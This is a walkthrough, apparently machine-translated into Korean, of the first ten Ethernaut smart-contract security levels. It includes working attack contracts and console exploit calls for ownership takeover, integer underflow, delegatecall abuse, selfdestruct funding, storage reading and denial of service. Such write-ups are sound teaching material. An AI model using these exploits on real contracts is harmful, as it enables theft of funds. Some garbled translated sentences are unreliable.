[Blockchain Security-Ethernaut] 블록체인 스마트 계약 보안 실습 - 직렬화

[Blockchain Security-Ethernaut] 블록체인 스마트 계약 보안 실습 - 직렬화

준비하다

블록체인 기술의 점진적인 발전으로 블록체인 보안은 점차 연구 핫스팟이 되었습니다. 그 중 스마트 스마트 계약의 보안이 가장 두드러집니다. Ethernaut 는 블록체인 스마트 계약 보안 연구를 시작하기에 좋은 도구입니다.

  • 먼저 Metamask 를 설치해야 합니다. Google Extension을 사용할 수 있으면 직접 설치할 수 있고 그렇지 않으면 FireFox를 사용하여 설치할 수 있습니다.
  • 새 계정을 만들고 RinkeBy 테스트 네트워크에 연결합니다(설정 - 고급에서 테스트 네트워크 표시를 활성화하고 네트워크에서 전환해야 함).
    계정을 만들고 Rinkeby 네트워크에 연결
  • Faucet 을 방문 하여 매일 0.1Eth 테스트 코인을 받으세요.

지금 Ethernaut에서 발견의 여정을 시작하십시오!


0. 안녕 이더넛

이 부분은 비교적 간단하기 때문에 전체적인 과정을 좀 더 신경써서 Ethernaut의 인스턴스 생성 등을 소개하고 제가 직접 정리해서 좀 더 자세하게 다루도록 하겠습니다.

준비

Hello Ethernaut 를 입력 하면 Metamask 지갑에 연결하라는 메시지가 자동으로 표시됩니다.연결 후 회로도는 다음과 같습니다.
메타마스크에 성공적으로 연결되었습니다.
F12 키를 눌러 개발자 도구를 열고 콘솔 인터페이스에서 스마트 계약과 상호 작용할 수 있습니다.

콘솔 페이지

인스턴스 생성 및 분석

새 계약 인스턴스를 작성 하려면 새 인스턴스 가져오기를 클릭 하십시오.

0xD991431D8b033ddCb84dAD257f4821E9d5b38C33실제로 계약과 상호 작용하여 인스턴스를 생성 하는 것을 볼 수 있습니다 . tutorial 매개변수 0xdfc86b17에서 주소 0x4e73b858fd5d7a5fc1c3455061de52a53f35d966를 매개변수로 사용하여 메소드를 호출하십시오. 실제로 모든 수준은 인스턴스를 생성할 때 이동 하며 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33첨부된 주소는 이 예의 URL 주소와 같이 수준을 나타내는 데 사용됩니다
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966.

계약 거래 인터페이스 만들기
인스턴스가 성공적으로 생성되었으며 주요 계약 트랜잭션의 스크린샷은 다음과 같습니다.

주요 계약 거래 스크린샷
거래 세부 정보를 입력하고 내부 거래를 보고 계약 간 통화를 찾습니다. 첫 번째는 메인 컨트랙트에서 레벨 컨트랙트를 호출하는 것이고, 두 번째는 레벨 컨트랙트로 컨트랙트 인스턴스를 생성하는 것인데, 여기서 인스턴스 주소는 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822.

인스턴스 생성 계약 내부 호출
페이지로 돌아가서 생성된 인스턴스가 실제로 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
페이지 계약이 성공적으로 생성되었습니다 알림
다음과 같은지 확인할 수 있습니다. 우리는 이 레벨을 완료하기 위해 계약과 상호 작용할 것입니다.

계약 상호 작용

이때 콘솔 인터페이스에서 player및 각각을 통해 contract사용자의 현재 계정과 생성된 계약 인스턴스를 볼 수 있습니다. player사용자 지갑 계정 주소를 contract나타내며 계약 인스턴스 abi, address및 메소드 정보를 포함합니다.

계약 및 사용자 정보 보기
프롬프트에 따라 입력 await contract.info()하고 결과를 얻으십시오 'You will find what you need in info1().'.
계약을 기다리고 있습니다.info()

입력 await contract.info1()하고 결과를 얻으십시오 'Try info2(), but with "hello" as a parameter.'.
계약을 기다리고 있습니다.info1()`

입력 await contract.info2('hello')하고 결과를 얻으십시오 'The property infoNum holds the number of the next info method to call..
계약을 기다립니다.info2('안녕하세요')
입력 await contract.infoNum(), infoNum 매개 변수 값 42(Word의 첫 번째 위치)을 가져옵니다. 다음에 호출할 함수( info42) 입니다.
계약을 기다리고 있습니다.infoNum()
입력 await contract.info42()하고 결과를 얻으십시오 'theMethodName is the name of the next method.. 즉, 다음 단계를 호출해야 합니다 theMethodName.

계약을 기다리고 있습니다.info42()
입력 await contract.theMethodName()하고 결과를 얻으십시오 'The method name is method7123949..

계약을 기다립니다.theMethodName()
입력 await contract.method7123949()하고 결과를 얻으십시오 'If you know the password, submit it to authenticate()..
계약을 기다립니다.method7123949()
따라서 pass password()는 암호를 가져와서 에 ethernaut0제출할 수 authenticate(string)있습니다.
비밀번호 찾기 및 제출
함수가 진행 중일 때 authenticate()Metamask는 트랜잭션 확인 팝업을 표시합니다. 이는 함수가 계약 내부의 상태를 변경하기 때문입니다(레벨의 성공 여부를 확인하기 위해). .
여기에 이미지 설명 삽입
이 시점에서 레벨이 완료되었습니다. 제출할 Subit Instance 를 선택할 수 있으며 트랜잭션을 완료하려면 서명해야 합니다.

서명 및 제출
그런 다음 콘솔 페이지에 성공 프롬프트가 표시되고 레벨이 완료됩니다!

레벨 완료

요약하다

이 질문은 비교적 간단하며 ethernaut의 작동 및 원리에 더 익숙합니다.


1. 폴백

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E.
이 레벨은 계약의 소유권을 가져오고 잔액을 정리해야 합니다 .
소스 코드를 관찰하여 계약 소유권 변경의 진입점을 찾으십시오. 각각 2개를 찾고 , 코드는 다음 contribute()receive()같습니다.

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

논리 에 따르면 contribute()사용자가 호출보다 작거나 같거나 0.001 ether기여도를 초과 owner하면 계약의 소유권을 얻을 수 있습니다 . 이 과정은 간단해 보이지만 다음 생성자() 함수를 owner보면 생성 시 생성량이 1000 ether이므로 이 방법은 그다지 실용적이지 않음을 알 수 있다.

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

함수를 다시 고려 receive()하면 논리에 따라 사용자가 무언가 ether를 보내고 이전에 기여한 경우( contribute()함수가 호출된 경우) 계약 소유권을 얻을 수 있습니다. receive()유사하게 fallback(), 이 메소드는 사용자가 토큰을 보냈지만 기능이 지정되지 않은 경우(예: sendTransaction()) 호출됩니다.
소유권을 획득한 후 withdraw함수를 호출하면 계약 잔액을 지울 수 있습니다.

계약 상호 작용

명령을 사용 contract하여 계약 BI 및 외부 기능을 봅니다.

계약 BI 및 기능
전화 await contract.contribute({value:1}), Wei의 1 단위를 계약에 보냅니다.

Contract.contribute({값:1})를 기다립니다.
이 시점에서 를 호출하여 사용자 기여도를 확인 하고 기본 기능을 호출하기 위한 최소 요구 사항을 await contract.getContribution()충족하는 기여도가 1임을 확인 합니다.receiver()

계약을 기다립니다.getContribution()
await contract.sendTransaction({value:1})구성된 전송 트랜잭션을 사용 하여 컨트랙트로 전송하고
Contract.sendTransaction({값:1})을 기다립니다.
호출 await contract.owner() === player 은 컨트랙트 소유자가 변경되었음을 확인합니다. 잔액을 인출하라는
계약을 기다립니다.소유자() === 플레이어
마지막 호출 입니다. 레벨이 성공했음을 보여주기 위해 인스턴스를 제출하십시오!await contract.withdraw()
계약을 기다립니다.철회()

레벨 성공

요약하다

이 레벨도 비교적 간단하며, 주로 코드 내부의 로직을 분석하고 원리 를 이해해야 fallback()합니다 .receive


2. 낙진

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x891A088f5597FC0f30035C2C64CadC8b07566DC2.
이 수준에서는 계약의 소유권을 취득해야 합니다. 먼저 contract명령어를 사용하여 계약의 BI 및 기능 정보를 확인합니다.
계약
가능한 돌파구에 대한 계약 소스 코드를 확인하십시오. Fal1out()기능이 획기적인 것으로 밝혀졌습니다 . 코드는 다음과 같습니다.

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

Solidity의 경우 0.4.22 이전의 컴파일러 버전은 다음과 같이 동일한 계약 이름을 가진 생성자를 지원합니다.

pragma solidity ^0.4.21;

contract DemoTest{

    function DemoTest() public{

    }
}

그러나 0.4.22부터 다음 과 같은 익스플로잇 constructor()빌드 만 지원됩니다.

pragma solidity ^0.4.22;

contract DemoTest{
     constructor() public{

    }
}

Fallout그러나 이 수준에서는 계약 작성자가 실수를 했고 작성 될 것이 분명합니다 Fal1out. 따라서 함수를 직접 호출하여 Fal1out소유권을 얻 습니다.

계약 상호 작용

await contract.owner()현재 계약 소유자를 0x0주소 로 가져오는 데 사용 합니다. 소유권 획득을 위해
계약을 기다립니다.소유자()
전화하십시오 . 계약 소유권을 획득했는지 확인 하기 위해 전화하십시오 . 인스턴스를 제출하십시오. 이 레벨은 완료되었습니다!await contract.Fal1out({value:1})
계약을 기다립니다.Fal1out({값:1})
await contract.owner() === player
계약을 기다립니다.소유자() === 플레이어

레벨 성공!

요약하다

이 레벨은 비교적 간단하며 주로 계약 내용과 생성자에 대한 이해와 파악을 검사합니다.


3. 동전 뒤집기

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54.
이 레벨은 동전의 앞면과 뒷면을 10번 연속으로 추측 해야 합니다 .

먼저 다음 그림에 표시된 코드를 살펴보겠습니다.

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

코인의 앞면과 뒷면은 현재 블록 이전 블록의 높이에 의해 결정되는 것을 알 수 있습니다. 현재 블록 높이가 얼마인지 모르면 코인의 앞뒤를 미리 예측하기 어렵습니다. 동시에, 계약은 동일한 블록이 lastHash를 통해 한 번만 제출될 수 있음을 보장합니다.
여기에서는 계약 간 호출의 개념을 소개할 것입니다 Hello Ethernaut. 레벨에서 분석한 대로 계약은 계약을 호출할 수도 있고, 특정 작업은 와 Internal Txns같지만 여전히 초기 호출과 동일한 블록에 있습니다. 그래서 우리는 우리만의 스마트 컨트랙트를 생성하고, 코인의 앞뒤를 미리 예측하고, 레벨 컨트랙트에 요청할 수 있습니다.

인스턴스 생성 계약 내부 호출

다음은 계약 간의 호출 내용이며 주로 몇 가지 유형이 있습니다.

  • 수신자 계약 인스턴스 사용(호출 수신자 계약 코드가 알려져 있음)
  • 호출된 계약 인터페이스 인스턴스 사용(호출된 계약 인터페이스만 알려져 있음)
  • call 명령을 사용하여 계약 호출

위의 세 가지 아이디어에서 시작하여 계약 간의 호출을 실현하기 위해 자체 스마트 계약을 작성합니다.

공격 계약서 작성

Remix 온라인 편집기를 사용하여 계약을 작성합니다. 코드는 다음과 같으며 이는 CoinFlipAttack공격 계약 CoinFlip이며 CoinFlipInterface둘 다 대상 계약에 대한 BI 인터페이스를 제공하도록 정의됩니다.

pragma solidity ^0.6.0;

// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}

// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker{
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public {
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    }

// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
    function getFlip() private returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    }

// 使用被调用合约实例(已知被调用合约代码)
    function attackByIns() public {
        bool side = getFlip();
        cf_ins.flip(side);
    }

// 使用被调用合约接口实例(仅知道被调用合约接口)
    function attackByInterface() public {
        bool side = getFlip();
        cf_interface.flip(side);
    }

// 使用call命令调用合约
    function attackByCall() public {
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    }

}

계약 상호 작용

이 시점에서 우리가 선택한 0.6.12+commit.27d51765.js컴파일러 는 다음 그림과 같이 컴파일됩니다
계약 편집
. 배포 페이지에서 선택 Injected Web3, 연결 Metamask钱包및 공격 계약의 생성자를 호출합니다. 여기서 구성 매개변수는 대상 계약으로 전달됩니다 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54.

계약을 전개하다
작은 여우가 서명하고 계약 전개가 완료되고 공격 계약의 주소는 이며 0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF다음과 같은 호출 인터페이스가 표시됩니다.다음으로 다음 세 가지 방법으로 공격을 시작합니다.
공격 계약 호출 인터페이스

  • 호출하기 전에 호출 된 계약 인스턴스(attackByIns)를 사용
    하여 다음 그림과 같이 3개의 연속적인 추측이 있습니다. 를
    현재 추측
    클릭 attackByIns하면 Metamask 확인 팝업 창이 팝업되고 현재 블록이 성공적으로 채굴되었음을 확인합니다.

AttackByIns
이때, 연속 추측 횟수는 4가 되며, 방법은 성공적으로 검증!
현재 추측

  • 호출된 계약 인터페이스 인스턴스(attackByInterface) 사용

이때 연속추측횟수는 4개 입니다 클릭 attackByInterface하면 메타마스크 확인 팝업창이 뜨는데 현재 블록이 성공적으로 채굴되었는지 확인합니다.

공격별 인터페이스이때, 연속 추측 횟수는 5가 되고, 방법은 성공적으로 검증!현재 추측

  • call 명령어를 사용하여 컨트랙트를 호출(attackByCall)
    이때 연속 추측 횟수는 5번 입니다. 클릭 attackByCall하면 메타마스크 확인 팝업창이 뜹니다.
    공격바이콜
    이때, 연속 추측 횟수는 6이 되고, 방법은 성공적으로 검증!
    현재 추측

어떤 방식을 사용해도 같은 블록에서 컨트랙트 호출이 실현될 수 있지만 gas limit설정에 주의를 out of gas기울여야 reverted합니다 . 확인 인터페이스.

그런 다음 10에 도달할 때까지 임의 호출로 4번 더 수행하고 마침내 커밋할 수 있습니다!
인스턴스를 제출하십시오. 이 레벨은 완료되었습니다!
레벨 성공!

요약하다

이 레벨은 주로 solidity계약 사이의 쓰기와 호출을 검사합니다. 작업을 하다보면 관련된 문제 가 많이 발생하는데 gas예전에는 별로 신경을 안썼는데 지금은 좀 더 신경써야겠어요!


4. 전화

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xba9405B2d9D1B92032740a67B91690a70B769221.
계약 소스 코드를 분석하고 계약 소유권 변경을 요청합니다. 돌파구는 changeOwner기능에 있습니다. 기능 코드는 다음과 같습니다.

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }

전제 조건은 동일 tx.origin하지 msg.sender않다는 것이므로 이를 연구해야 합니다.

  • tx.origin전체 호출 스택을 살펴보고 원래 호출(또는 트랜잭션)을 보낸 계정의 주소를 반환합니다.
  • msg.sender스마트 계약 기능을 직접 호출하는 계정 또는 스마트 계약의 주소입니다.

둘의 차이점은 동일한 트랜잭션 내에서 여러 호출이 있는 경우 tx.origin변경되지 않은 상태로 유지되지만 msg.sender변경된다는 것입니다. 이를 바탕으로 메시지 가로채기 공격(man-in-middle attack) 역할을 하는 스마트 계약을 작성합니다.

공격 계약서 작성

컨트랙트도 remix로 작성했는데, 컨트랙트 코드는 다음과 같습니다. 이전 레벨과 유사하게 interface컨트랙트 인터페이스 인스턴스가 인터페이스를 통해 생성되고 다음을 전달합니다 attack函数执行攻击.

pragma solidity ^0.6.0;

interface TelephoneInterface {
    function changeOwner(address _owner) external;
}



contract TelephoneAttacker {

    TelephoneInterface tele;

    constructor(address _addr) public {
        tele = TelephoneInterface(_addr);
    }

    function attack(address _owner) public {
        tele.changeOwner(_owner);
    }

}

계약 상호 작용

처음에는 계약 소유권이 아직 획득되지 않았습니다.

계약 소유권이 획득되지 않았습니다.
0xba9405B2d9D1B92032740a67B91690a70B769221공격받은 계약 인터페이스 인스턴스를 초기화하기 위해 첨부된 매개변수를 사용하여 리믹스에 계약을 배포합니다 tele. 생성된 공격 계약의 주소는 0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811.

공격 계약 배포

remix에서 함수를 호출하고 attack매개변수는 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b지갑 주소입니다.
공격
이때 소유권을 다시 확인하고 변경이 발생했는지 확인합니다.
소유권이 변경되었습니다.
인스턴스를 제출하십시오. 이 레벨은 성공적으로 통과되었습니다.
성공

요약하다

tx.origin이를 위해 사용되는 계약이 많이 있지만 잘못 사용하면 심각한 결과를 초래할 수 있습니다.
예를 들어, 공격받은 계약이 적극적으로 호출을 시작하도록 계약을 설정하고 tx.origin관련 보안 설정을 우회하기 위해 수락 기능에서 공격을 시작합니다.


5. 토큰

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3.
컨트랙트 생성 과정으로 판단하면 인스턴스 생성 컨트랙트 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33는 레벨 컨트랙트를 호출 0x63bE8347A617476CA461649897238A31835a32CE하여 타겟 컨트랙트를 생성하고 player20을 전송 token한다.

토큰 할당 정보

계약 소스 코드를 분석하고 기존 토큰 수를 늘리도록 요청하려면 transfer함수로 시작해야 합니다. 함수 코드는 다음과 같습니다.

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

여기 코드의 실수는 uint연산에 대한 오버플로 검사가 없다는 것입니다. 예를 들어 8비트 부호 없는 정수 0-1=255의 경우 255+1=0오류가 발생합니다. 우리는 이 허점을 사용하여 토큰의 무제한 추가 발행을 달성할 수 있습니다.

계약 상호 작용

이 함수를 호출 await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)하면 언더플로가 먼저 발생한 다음 오버플로가 발생하기 때문에 여기에서 자신에게 돈을 전송할 수 없습니다. 우리는 21 레벨 계약으로 직접 송금합니다 token. 이때 20-21언더플로가 발생하여 최대 값에 도달합니다. 이 시점에서 토큰 잔액이 증가했음을 알 수 있습니다.

토큰의 수가 증가합니다.
예제를 제출하고 이 레벨을 통과하세요!
성공!

요약하다

그것이 우리가 해야 하는 이유 Safemath입니다. 계약서 작성 시 오버플로와 언더플로에 주의하세요!

6. 위임

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d.
이 수준에서는 ** 계약 Delegation소유권을 확보 **해야 합니다.

계약의 분석, 소스 코드 섹션은 계약의 두 부분을 제공합니다. 하나는 is Delegate이고 다른 하나는 입니다 Delegation. 두 계약 사이에 전달 Delegationfallback함수 는 delegatecall메서드 확장을 기반으로 호출됩니다.

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }

계약 의 Delegation경우 소유권을 변경하는 코드를 찾을 수 없으므로 사고 방식을 변경하고 Delegate계약에 있는지 확인할 수 있습니다. 계약을 분석하면 pwn()실현될 수 있음을 알 수 있습니다.

  function pwn() public {
    owner = msg.sender;
  }

이 때 두 가지 다른 계약이라 혼동하시는 분들이 있을 수 있는데, DelegateDelegation하나만 수정 하면 전체 계약에서 호출하는 데 영향을 미칠 까요?DelegateownerDelegation

callSolidity에서 호출 함수 클러스터는 , delegatecall 를 포함한 교차 계약 함수 호출을 구현할 수 callcode있으며 다음 세 가지 교차 계약 호출 방법 간의 차이점을 분석합니다(사용자 A가 계약 B를 통해 계약 C를 호출하는 경우).

  • call: 가장 일반적인 호출 방식 호출 후 내장 변수 msg의 값은 호출자 B로 변경되며 실행 환경은 호출 받는 사람의 런타임 환경 C입니다.
  • delegatecall: 호출 후 내장 변수 msg의 값 A는 호출자에게 수정되지 않지만 실행 환경은 호출자의 런타임 환경 B입니다.
  • callcode: 호출 후 내장 변수 msg의 값은 호출자 B로 수정되지만 실행 환경은 호출자의 런타임 환경 B

그래서 그 delegatecall당시에 Delegate는 계약서에서 함수를 호출하고 있었지만, 실제로 Delegation는 코드를 "도입"하는 것으로 이해할 수 있는 환경에서 수행하고 있었습니다. 따라서 우리는 계약 권리의 이전을 실현할 수 있습니다.

계약 상호 작용

초기화할 때 계약 소유권을 갖는 것은 옵션이 아닙니다 player.
소유권을 가지지 않았다
호출을 시작하는 데 사용 contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})하면 결과가 실패하고 자세히 살펴보면 장식 이 fallback없기 때문입니다. payable이것은 처음에는 오해이며 관찰이 충분히 조심스럽지 않습니다.

통화 실패
제거 value, 다시 전화 await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)}). 이 시점에서 계약 소유권이 이전되었습니다. 설명, 여기 에서 함수 data를 호출하고 인코딩을 사용하고 처음 4바이트를 가져오는 것입니다. 여기에는 입력 매개변수가 없기 때문에 단순화됩니다. 계약 인스턴스를 제출하십시오. 이 레벨은 성공적입니다!pwnsha3
소유권을 가져라

성공!

요약하다

계약 간의 호출은 원래 프로그래밍 유연성을 위해 매우 조심해야 delegate하지만 제대로 처리되지 않으면 보안에 큰 문제가 발생합니다!


7. 힘

죄송합니다. 제가 최근에 업무가 해외 사이버 보안 무역과 관련되어 조금 바빴습니다. 그래서 최근 훈련으로 바빴습니다. 그러나 이 작품은 확실히 계속 완성될 것입니다.

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xa39A09c4ebcf4069306147035dd7cE7735A25532.
이 수준은 Force계약에 토큰을 전송해야 하지만 계약에 지불 기능이 없는 것 같습니다. 그래서 우리는 무엇을해야합니까?

실제로 스마트 계약으로 돈을 이체하는 몇 가지 일반적인 방법이 있습니다.

  • Transfer : 오류가 발생하면 예외를 던지고 이후에는 코드가 실행되지 않습니다.
  • 보내기 : 전송 오류는 예외를 throw하지 않고 true/false를 반환합니다. 코드는 계속 실행됩니다.
  • call.value().gas : 전송 오류는 예외를 throw하지 않고 true/false를 반환합니다. 코드는 실행되지만 전송을 위한 호출 기능은 재진입 공격에 취약합니다.

세 가지 방법에는 전제가 있습니다. 즉, 수락하는 계약이 양도를 수락할 수 있어야 합니다. 즉, 지불 가능한 기능이 있어야 합니다. 그렇지 않으면 롤백됩니다.

그래서 다른 방법이 있습니까?

그러나 자금을 먼저 확보하지 않고 자금을 이체하는 또 다른 방법이 있습니다. 바로 자폭 기능입니다. Selfdestruct는 블록체인에서 계약을 삭제하는 데 사용되는 Solidity 스마트 계약의 기능입니다. 컨트랙트가 자체 파괴 작업을 실행하면 컨트랙트 계정의 나머지 이더가 지정된 대상으로 전송되고 해당 저장소 및 코드가 지워집니다.

즉, 계약의 자기파괴 기능을 통해 계약의 나머지 이더를 지정된 주소로 보낼 수 있으며, 이때 해당 주소가 이체를 수락할 수 있는지 여부를 판단할 필요가 없습니다. 그래서 우리는 스마트 계약을 구축하고 완전한 자멸을 한 다음 공격할 수 있습니다.

계약 상호 작용

계약 자체는 잔액 쿼리를 제공하지 않으므로 쿼리를 위해 체인으로 이동합니다. 계약 잔액은 이제 0입니다.

목표 계약 잔액은 0입니다.
우리는 자체 파괴 기능을 작성하는 리믹스를 통해 계약을 구축합니다.

pragma solidity ^0.6.0;

contract ForceAttacker {

    constructor() public payable{

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}

새 계약을 생성하고 Rinkeby 테스트넷에 배포하고 계약 주소0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

계약을 전개하다

공격을 받은 계약을 변수로 사용하여 destruct함수 를 호출합니다.

자폭 공격을 시작하다

이때 공격받은 컨트랙트 체인의 주소 밸런스가 0에서 50으로 변경되었음을 알 수 있습니다.

자폭 공격 성공
예제를 제출하십시오. 이 레벨은 성공적으로 통과되었습니다!
레벨 성공

요약하다

selfdestruct미지급 수표는 발동되지 않으며, 양호한 수표가 없으면 계약 자체의 운영에 예측할 수 없는 영향을 미칠 수 있습니다. this.balance해커의 조작 을 방지하려면 balance변수를 사용하여 특정 비즈니스 논리에 대한 잔액을 수락해야 합니다.


8. 금고

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0x81E840E30457eBF63B41bE233ed81Db4BcCF575E.

계약 분석, 이 수준의 요구 사항은 잠금을 해제하는 것이며 잠금을 해제하는 유일한 방법은 올바르게 입력하는 것 password입니다. 이 수준 쌍 의 정의 password는 개인 변수입니다. 왜 때때로 볼 수 없습니까?

대답은 아니오입니다. 모든 변수는 체인에 저장되며 자연스럽게 볼 수 있습니다. 이제 문제는 어디를 보고 무엇을 찾아야 합니까?

첫 번째 대답은 무엇입니까?

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]), 이 명령을 사용하여 특정 주소에 저장된 스토리지 콘텐츠를 확인합니다.
매개변수는 다음과 같은 의미를 나타냅니다.

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

일반적으로 말해서 , web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);후자의 두 매개변수는 일반적으로 선택사항입니다.

두 번째 대답은 무엇입니까?

Ethereum 데이터 저장소는 계약의 각 데이터에 대해 계산 가능한 저장소 위치를 지정하고 2^256 용량의 슈퍼 배열에 저장합니다. 배열의 각 요소를 슬롯이라고 하며 초기 값은 0 입니다. 어레이 용량의 상한은 높지만 실제 스토리지는 희소하며 실제로 스토리지에는 0이 아닌(null) 데이터만 기록됩니다. 각 데이터 저장소의 슬롯 위치는 고정되어 있습니다.

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

각 슬롯은 32바이트이며 값 유형의 경우 저장이 연속적이며 다음 규칙을 충족합니다.

  • 스토리지 슬롯의 첫 번째 항목은 약간 정렬되어 저장됩니다(즉, 오른쪽 정렬).
  • 기본 유형은 저장하는 데 필요한 바이트만 사용합니다.
  • 보관 슬롯에 기본 타입을 보관할 공간이 부족할 경우 다음 보관 슬롯으로 이동합니다.
  • 구조체 및 배열 데이터는 항상 완전히 새로운 슬롯을 차지합니다(하지만 구조체 또는 배열의 항목은 이러한 규칙으로 채워집니다)

예를 들어 다음 계약

pragma solidity ^0.4.0;

contract C {
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2
}

스토리지 레이아웃은 다음과 같습니다.

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

이 질문으로 돌아가서 스토리지 배치가

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

따라서 slot1암호 정보를 얻을 수 있습니다.

계약 상호 작용

await web3.eth.getStorageAt(contract.address,1)get 을 입력 byte32 password합니다.
web3.eth.getStorageAt(contract.address,1)을 기다립니다.
이 시점에서 계약은 await contract.locked()쿼리에 대해 여전히 잠겨 있습니다(통과 가능).

계약은 여전히 ​​​​잠겼습니다
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')계약을 해제하기 위해 전화 하십시오.
계약 잠금 해제
이 시점에서 계약이 잠금 해제되었습니다.
여기에 이미지 설명 삽입
인스턴스를 제출하십시오. 이 레벨은 성공적으로 통과되었습니다.
레벨 성공

요약하다

블록체인에는 비밀이 없습니다.


9 킹

인스턴스 생성 및 분석

이전 단계에 따라 계약 주소가 인 계약 인스턴스를 생성합니다 0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2. 계약 분석, 계약 기능은 다음 코드 세그먼트에 있습니다.

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

들어오는 송금을 받았을 때 보낸 금액이 현재 보너스보다 크면 보낸 금액이 현재 왕에게 보내지고 보너스가 업데이트되며 보낸 사람이 새 왕이됩니다.
이 레벨의 목적은 이 사이클을 깨는 것입니다.

이 사이클을 깨기 위한 출발점은 함수 상호 작용이 실제로 연속적인 프로세스라는 것입니다.

  1. 사용자는 지정된 양의 에테르를 보냅니다.
  2. 계약은 현재 왕에게 에테르를 전달합니다.
  3. 업데이트된 왕과 보너스.

왕으로서 우리가 계약에서 양도된 보너스를 받아들이기를 거부하는 한 전체 프로세스를 롤백할 수 있습니다.

공격 계약서 작성

우리는 또한 리믹스에서 공격 계약을 작성합니다. 다음과 같이:


contract KingAttacker {

    constructor() public payable{

    }

    function attack(address payable addr) public payable{
        addr.call.value(msg.value)("");
    }
    
    fallback() external payable{
        revert();
    }

} 

수락 기능에서 우리는 계약이 계속 실행되는 것을 방지하기 위해 롤백을 주도합니다.

계약 상호 작용

